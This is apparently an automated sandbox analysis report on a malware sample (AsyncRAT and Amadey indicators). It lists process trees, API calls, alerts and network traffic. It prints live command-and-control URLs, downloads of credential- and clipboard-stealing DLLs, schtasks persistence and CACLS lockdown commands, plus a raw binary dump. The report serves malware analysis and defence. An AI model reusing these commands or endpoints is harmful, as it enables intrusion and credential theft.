Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	March 22, 2023, 5:26 p.m.	March 22, 2023, 5:30 p.m.

Size	1.1MB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`ba218b60cb97c3532b8b9c796d954622`
SHA256	`8bee3d713fc207a8ca82e8eaf85396b55fcd29fe9214a83ce9399fa48ac4bd4b`
CRC32	`B5E47169`
ssdeep	`24576:+DqJfHKurNTbvYkwdBd9BO3Oz1ITm+2Hd:+DIHKurdbvYDz5+2Hd`
Yara	Is_DotNET_EXE - (no description) Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT IsPE32 - (no description) PE_Header_Zero - PE File Signature

power.exe "C:\Users\test22\AppData\Local\Temp\power.exe"
2648
- Player3.exe "C:\Users\test22\AppData\Local\Temp\Player3.exe"
  2736
  - nbveek.exe "C:\Users\test22\AppData\Local\Temp\16de06bfb4\nbveek.exe"
    2916
    - schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
      3040
    - cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "test22:N"&&CACLS "nbveek.exe" /P "test22:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "test22:N"&&CACLS "..\16de06bfb4" /P "test22:R" /E&&Exit
      940
      - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        1264
      - cacls.exe CACLS "nbveek.exe" /P "test22:N"
        148
      - cacls.exe CACLS "nbveek.exe" /P "test22:R" /E
        2212
      - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        2432
      - cacls.exe CACLS "..\16de06bfb4" /P "test22:N"
        2468
      - cacls.exe CACLS "..\16de06bfb4" /P "test22:R" /E
        2640
    - rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
      2888
      - rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        2484
    - rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\07c6bc37dc5087\clip64.dll, Main
      2632
- jgzhang.exe "C:\Users\test22\AppData\Local\Temp\jgzhang.exe"
  2776
  - jgzhang.exe "C:\Users\test22\AppData\Local\Temp\jgzhang.exe" -h
    2996

Name	Response	Post-Analysis Lookup
j.ffbbjjkk.com	A 104.21.8.227 A 172.67.158.22	172.67.158.22

IP Address	Status	Action
104.21.8.227	Active	Moloch
164.124.101.2	Active	Moloch
77.73.134.27	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49169 -> 104.21.8.227:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49176 -> 77.73.134.27:80	2027700	ET MALWARE Amadey CnC Check-In	Malware Command and Control Activity Detected
TCP 192.168.56.101:49176 -> 77.73.134.27:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 77.73.134.27:80 -> 192.168.56.101:49176	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 77.73.134.27:80 -> 192.168.56.101:49176	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 192.168.56.101:49177 -> 77.73.134.27:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 77.73.134.27:80 -> 192.168.56.101:49177	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 77.73.134.27:80 -> 192.168.56.101:49177	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 77.73.134.27:80 -> 192.168.56.101:49177	2015744	ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)	Misc activity

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.101:49169 104.21.8.227:443	C=US, O=Google Trust Services LLC, CN=GTS CA 1P5	CN=*.ffbbjjkk.com	8a:a5:6d:82:a6:a0:20:43:b2:b0:7e:aa:9a:9f:c2:ad:00:dd:fe:84

Queries for the computername (3 events)

Time & API	Arguments	Status	Return
GetComputerNameW March 22, 2023, 5:26 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 22, 2023, 5:26 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 22, 2023, 5:29 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent March 22, 2023, 5:26 p.m.			0	0
IsDebuggerPresent March 22, 2023, 5:26 p.m.			0	0
IsDebuggerPresent March 22, 2023, 5:29 p.m.			0	0
IsDebuggerPresent March 22, 2023, 5:29 p.m.			0	0

Command line console output was observed (50 out of 79 events)

Time & API	Arguments	Status	Return
WriteConsoleW March 22, 2023, 5:26 p.m.	buffer: SUCCESS: The scheduled task "nbveek.exe" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: Y console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: N console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW March 22, 2023, 5:26 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\16de06bfb4\nbveek.exe console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW March 22, 2023, 5:26 p.m.	buffer: C:\Users\test22\AppData\Local\Temp\16de06bfb4\nbveek.exe console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA March 22, 2023, 5:26 p.m.	buffer: r console_handle: 0x00000007	1	1

Tries to locate where the browsers are installed (2 events)

file	C:\Program Files\Mozilla Firefox\firefox.exe
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx March 22, 2023, 5:26 p.m.		1	1	0

One or more processes crashed (2 events)

Time & API	Arguments	Status	Return	Repeated
__exception__ March 22, 2023, 5:26 p.m.	stacktrace: jgzhang+0x23ee @ 0x4023ee exception.instruction_r: 8b 00 8b 00 8b 40 10 8b 55 20 8b 12 c7 44 24 14 exception.symbol: New___wmi___IWbemServices_ExecMethod@32+0x2a3 New___wmi___IWbemServices_ExecMethodAsync@28-0xde exception.instruction: mov eax, dword ptr [eax] exception.module: monitor-x86.dll exception.exception_code: 0xc0000005 exception.offset: 66639 exception.address: 0x736e044f registers.esp: 1634368 registers.edi: 5199156 registers.eax: 0 registers.ebp: 1634824 registers.edx: 1634060 registers.ebx: 0 registers.esi: 1634916 registers.ecx: 1747255296	1	0	0
__exception__ March 22, 2023, 5:29 p.m.	stacktrace: Save+0x8d733 Main-0x1371d cred64+0x91303 @ 0x7fef4831303 Save+0x8f34b Main-0x11b05 cred64+0x92f1b @ 0x7fef4832f1b Save+0x903d3 Main-0x10a7d cred64+0x93fa3 @ 0x7fef4833fa3 Save+0x9077f Main-0x106d1 cred64+0x9434f @ 0x7fef483434f Save+0xa0838 Main-0x618 cred64+0xa4408 @ 0x7fef4844408 Main+0x65 cred64+0xa4a85 @ 0x7fef4844a85 rundll32+0x2f42 @ 0xff232f42 rundll32+0x3b7a @ 0xff233b7a BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76c2652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x76d5c521 exception.instruction_r: 42 38 3c 00 75 f7 48 8b d0 48 8d 4c 24 50 e8 7a exception.instruction: cmp byte ptr [rax + r8], dil exception.exception_code: 0xc0000005 exception.symbol: Save+0x8d733 Main-0x1371d cred64+0x91303 exception.address: 0x7fef4831303 registers.r14: 0 registers.r15: 0 registers.rcx: 1099511627775 registers.rsi: 0 registers.r10: 152 registers.rbx: 0 registers.rsp: 1637424 registers.r11: 1632320 registers.r8: 0 registers.r9: 253416046601 registers.rdx: 3650336 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 1 registers.r13: 0	1	0	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (4 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://77.73.134.27/8bmdh3Slb2/index.php
suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://77.73.134.27/8bmdh3Slb2/index.php?scr=1
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://77.73.134.27/8bmdh3Slb2/Plugins/cred64.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://77.73.134.27/8bmdh3Slb2/Plugins/clip64.dll

Performs some HTTP requests (6 events)

request	POST http://77.73.134.27/8bmdh3Slb2/index.php
request	POST http://77.73.134.27/8bmdh3Slb2/index.php?scr=1
request	GET http://77.73.134.27/8bmdh3Slb2/Plugins/cred64.dll
request	GET http://77.73.134.27/8bmdh3Slb2/Plugins/clip64.dll
request	GET https://j.ffbbjjkk.com/2701.html
request	GET https://j.ffbbjjkk.com/logo.png

Sends data using the HTTP POST Method (2 events)

request	POST http://77.73.134.27/8bmdh3Slb2/index.php
request	POST http://77.73.134.27/8bmdh3Slb2/index.php?scr=1

Allocates read-write-execute memory (usually to unpack itself) (24 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory March 22, 2023, 5:26 p.m.	process_identifier: 2648 region_size: 1900544 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 22, 2023, 5:26 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00830000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory March 22, 2023, 5:26 p.m.	process_identifier: 2648 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 22, 2023, 5:26 p.m.	process_identifier: 2648 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 22, 2023, 5:26 p.m.	process_identifier: 2648 region_size: 262144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00580000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 22, 2023, 5:26 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00580000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 22, 2023, 5:26 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00522000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 22, 2023, 5:26 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00555000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 22, 2023, 5:26 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0055b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 22, 2023, 5:26 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00557000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 22, 2023, 5:26 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0053c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 22, 2023, 5:26 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00b40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 22, 2023, 5:26 p.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0052a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory March 22, 2023, 5:26 p.m.	process_identifier: 2776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73662000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 22, 2023, 5:26 p.m.	process_identifier: 2916 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73492000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 22, 2023, 5:26 p.m.	process_identifier: 2996 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73662000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 22, 2023, 5:29 p.m.	process_identifier: 2484 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007304c000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 22, 2023, 5:29 p.m.	process_identifier: 2632 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7347f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 22, 2023, 5:29 p.m.	process_identifier: 2632 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x741b0000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 22, 2023, 5:29 p.m.	process_identifier: 2632 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73491000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 22, 2023, 5:29 p.m.	process_identifier: 2632 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72cb1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 22, 2023, 5:29 p.m.	process_identifier: 2632 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72c74000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 22, 2023, 5:29 p.m.	process_identifier: 2632 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73492000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 22, 2023, 5:29 p.m.	process_identifier: 2632 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73921000 process_handle: 0xffffffff	1

A process attempted to delay the analysis task. (1 event)

description

nbveek.exe tried to sleep 141 seconds, actually delayed analysis time by 141 seconds

Creates executable files on the filesystem (6 events)

file	C:\Users\test22\AppData\Roaming\07c6bc37dc5087\cred64.dll
file	C:\Users\test22\AppData\Local\Temp\Player3.exe
file	C:\Users\test22\AppData\Local\Temp\jgzhang.exe
file	C:\Users\test22\AppData\Roaming\07c6bc37dc5087\clip64.dll
file	C:\Users\test22\AppData\Local\Temp\ss31.exe
file	C:\Users\test22\AppData\Local\Temp\db.dll

Creates a suspicious process (4 events)

cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "nbveek.exe" /P "test22:N"&&CACLS "nbveek.exe" /P "test22:R" /E&&echo Y\|CACLS "..\16de06bfb4" /P "test22:N"&&CACLS "..\16de06bfb4" /P "test22:R" /E&&Exit
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F

Drops a binary and executes it (3 events)

file	C:\Users\test22\AppData\Local\Temp\Player3.exe
file	C:\Users\test22\AppData\Local\Temp\jgzhang.exe
file	C:\Users\test22\AppData\Local\Temp\ss31.exe

Drops an executable to the user AppData folder (4 events)

file	C:\Users\test22\AppData\Local\Temp\jgzhang.exe
file	C:\Users\test22\AppData\Local\Temp\db.dll
file	C:\Users\test22\AppData\Roaming\07c6bc37dc5087\clip64.dll
file	C:\Users\test22\AppData\Local\Temp\Player3.exe

A process created a hidden window (5 events)

Time & API	Arguments	Status	Return
ShellExecuteExW March 22, 2023, 5:26 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\16de06bfb4\nbveek.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\16de06bfb4\nbveek.exe	1	1
ShellExecuteExW March 22, 2023, 5:26 p.m.	show_type: 0 filepath_r: SCHTASKS parameters: /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\test22\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F filepath: SCHTASKS	1	1
ShellExecuteExW March 22, 2023, 5:26 p.m.	show_type: 0 filepath_r: cmd parameters: /k echo Y\|CACLS "nbveek.exe" /P "test22:N"&&CACLS "nbveek.exe" /P "test22:R" /E&&echo Y\|CACLS "..\16de06bfb4" /P "test22:N"&&CACLS "..\16de06bfb4" /P "test22:R" /E&&Exit filepath: cmd	1	1
ShellExecuteExW March 22, 2023, 5:27 p.m.	show_type: 0 filepath_r: rundll32.exe parameters: C:\Users\test22\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main filepath: rundll32.exe	1	1
ShellExecuteExW March 22, 2023, 5:27 p.m.	show_type: 0 filepath_r: rundll32.exe parameters: C:\Users\test22\AppData\Roaming\07c6bc37dc5087\clip64.dll, Main filepath: rundll32.exe	1	1

An executable file was downloaded by the process nbveek.exe (2 events)

Time & API	Arguments	Status	Return	Repeated
InternetReadFile March 22, 2023, 5:27 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ÕçsOÕçsOÕçsOwNÇçsOpNÞçsOvNeçsOvNçsOwNÚçsOpNÜçsOrNØçsOÕçrOiçsONzNÑçsONsNÔçsONOÔçsONqNÔçsORichÕçsOPEd<·cð" è²Hë à``{X¸{°øàÀhªppª À.text¨æè `.rdata ì@@.data¬o6\|@À.pdataà²@@_RDATA J@@.rsrcø°L@@.relochÀN@BHì(A¸ H×H ªèsT H \|ÛHÄ(é¯× ÌÌÌHì(A¸ HÏH P«èCT H ¼ÛHÄ(é× ÌÌÌHì(A¸HÃH `«èT H üÛHÄ(éO× ÌÌÌHì(A¸ HH ªèãS H <ÜHÄ(é× ÌÌÌHì(A¸HH ªè³S H \|ÜHÄ(éïÖ ÌÌÌHì(A¸HH Ð¨èS H ¼ÜHÄ(é¿Ö ÌÌÌHì(E3ÀHRë H ªèVS H ÿÜHÄ(éÖ ÌÌÌÌÌÌHì(E3ÀH"ë H ªè&S H ?ÝHÄ(ébÖ ÌÌÌÌÌÌHì(E3ÀHòê H C©èöR H ÝHÄ(é2Ö ÌÌÌÌÌÌHì(E3ÀHÂê H ó§èÆR H ¿ÝHÄ(éÖ ÌÌÌÌÌÌHì(A¸H¯H ¨èR H üÝHÄ(éÏÕ ÌÌÌHì(A¸?HßH 0©ècR H <ÞHÄ(éÕ ÌÌÌH ÞéÕ ÌÌÌÌH ùÞéÕ ÌÌÌÌH YßépÕ ÌÌÌÌH ¹ßé`Õ ÌÌÌÌH àéPÕ ÌÌÌÌHì(E3ÀHâé H Ó§èæQ H _àHÄ(é"Õ ÌÌÌÌÌÌH ¹àéÕ ÌÌÌÌH áéÕ ÌÌÌÌH yáéðÔ ÌÌÌÌH ÙáéàÔ ÌÌÌÌH 9âéÐÔ Hì(H ²è$Þ H âHÄ(é°Ô H âé¤Ô H ÕâéÔ H ãéÔ Hì(H ¶èàÝ H 5ãHÄ(élÔ ¸ÃÌÌÌÌÌÌÌÌÌÌH\$Hl$Ht$ WAVHùLç A¸L5WìÿÿLÉ@A¶AÿÈÀt'ÐA¶B¶0 oB82 ouIÿÁIÿÂEÀÑAÿÈEÀxA¶B¶0 oA¶B¶0 o+ÈuHÇE3ÛL×HÿuEÓëD8t fIÿÂE8uøD+×Aâÿÿÿ?AêH\|v@LAÂIñLÇEÒt+A¶ÿÈÒt#A¶ B¶1 oB82 ouIÿÀIÿÁÀÕÿÈÀxA¶B¶0 oA¶B¶0 o+Áu¶.Bö0`dFt"AÿÃHÃAû\|3ÀH\$ Hl$(Ht$0A^_ÃH\$ ¸Hl$(Ht$0A^_ÃÌÌÌÌÌÌÌùwHcÁH ¹uHÁÃ3ÀÃÌÌÌÌÌÌÌÌÌHì(ù w+HcÁLÊA IAD(AEÉtJ(3ÀHÄ(ÃL é6A¸õ8H;¹ènT¸HÄ(ÃÌÌÌÌLL$ LD$AVHìPH\$`E3öHl$HHÙHIIéH\|$8L\|$ MøHcúHÉtÿöHt$@ÿ H9êÿÿºHÊÿáLAPED9´$äLPéÓH»E7DED9´$µD±Dé©C(AöLd$0Ll$(EîÀ~:IþHC HL8HÉtD8itÿAD8iuèî\C(ÿÆHÇ ;ð\|ÑEæÀ~tMþHC JD8HÀtCH@H(·°½¼ÁpùHHI@ÿ8HÍðÿ¯÷ðµ¼DîC(AÿÄIÇ D;à\| Hl$xL\|$pLd$0AþÀ~4IöHC HL0HÉtD8qtiuèá[ÿÇHÆ ;{(\|ÖE/Ll$(DuéC(AöDt$hÀ~5IþHC HL8HÉtD8qtÿAD8quèÞ[C(ÿÆHÇ ;ð\|ÑHL$hEþH ÀÆIîHC Ht(Hö¹ ÿÈFTF<F$F¯ÈL$hHNÿtD$hHNHÿfD$hHN0ÿXD$hHN`ÿJD$hH~@HÿtHWHËèQÊH?HÿuìH~HÿtHWHËèÄ?H?HÿuìC(AÿÇHÅ D;øIÿÿÿHl$xL³ AþÀ~0IöHC HL0HÉtD8qtiuèqZÿÇHÆ ;{(\|ÖHL$pD$hDuéH{HL$hH AÆD$hHÿtgfDH×HËè5cL9³ t H×HËè1,ë3H;»hr"H;»psH`HÿLH»`ëHÏèL+HXHÿu£D$hL³ DuAéAÖEÎ9S(~FD$MÆfDHC JDHÀtH@HD¹ÔEÛtD´¹ÔÿÂIÀ ;S(\|ËDuEë)DuL9³AÆL9³~¸AëA¾HKL\|$ H\|$8Ht$@Hl$HH\$`HÉtÿ¹AÆHÄPA^ÃÓ.K¾TTT®ÌÌÌÌÌÌÌÌHL$HT$LD$LL$ SUVWAVHÑH\$8E3ÒH-ôI@D3À{sD[H[(LsøEÀt,@D¶ AÿÈAö)tGHÿÂA¾ÁHT$0HÀÐEÀuØ;Ç\|);Æ%EÛt¾ D;ÙuAAÿÂHT$0HÿÂHT$0EÛuAÂA^_^][ÃÌLÜI[IkVWAVHìp3ÿICØICÈHòI{ÀIC ÇD$@;E3ÀI{°DOÇD$0WIC HÙÇD$ :WÉèóþÿÿøÐ¶CL5ÿHHÃ<:H$ E3ÀHD$(DO;WH\|$ HKè®þÿÿøHÃ;.u[¶KBö1tPòHÿÃòò%fD¾ÁHÿÃòYËòYÓfnÀ¶óæÀ¶ÈBö0òXÈò\ÌuÕò^Ê request_handle: 0x00cc000c	1	1	0
